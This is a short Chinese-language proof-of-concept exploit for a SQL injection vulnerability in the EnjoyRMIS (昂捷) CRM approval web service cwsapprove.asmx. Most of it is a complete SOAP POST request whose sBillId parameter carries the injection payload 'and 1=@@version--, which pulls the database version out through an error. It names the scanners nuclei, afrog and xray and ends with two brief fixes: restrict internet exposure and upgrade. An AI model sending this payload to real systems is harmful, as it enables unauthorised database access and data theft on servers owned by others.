昂捷CRM cwsapprove.asmx SQL注入漏洞 POC

POST /EnjoyRMIS_WS/WS/Approve/cwsapprove.asmx HTTP/1.1
SOAPAction: http://tempuri.org/GetApproveDataXML
Host: enjoyrmis.mrxn.net

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:GetApproveDataXML>
         <!--type: string-->
         <tem:sBillId>'and 1=@@version--</tem:sBillId>
         <!--type: string-->
         <tem:sContentType>1</tem:sContentType>
      </tem:GetApproveDataXML>
   </soapenv:Body>
</soapenv:Envelope>

nuclei

afrog

xray

1、关闭互联网暴露面或接口设置访问权限

2、升级至安全版本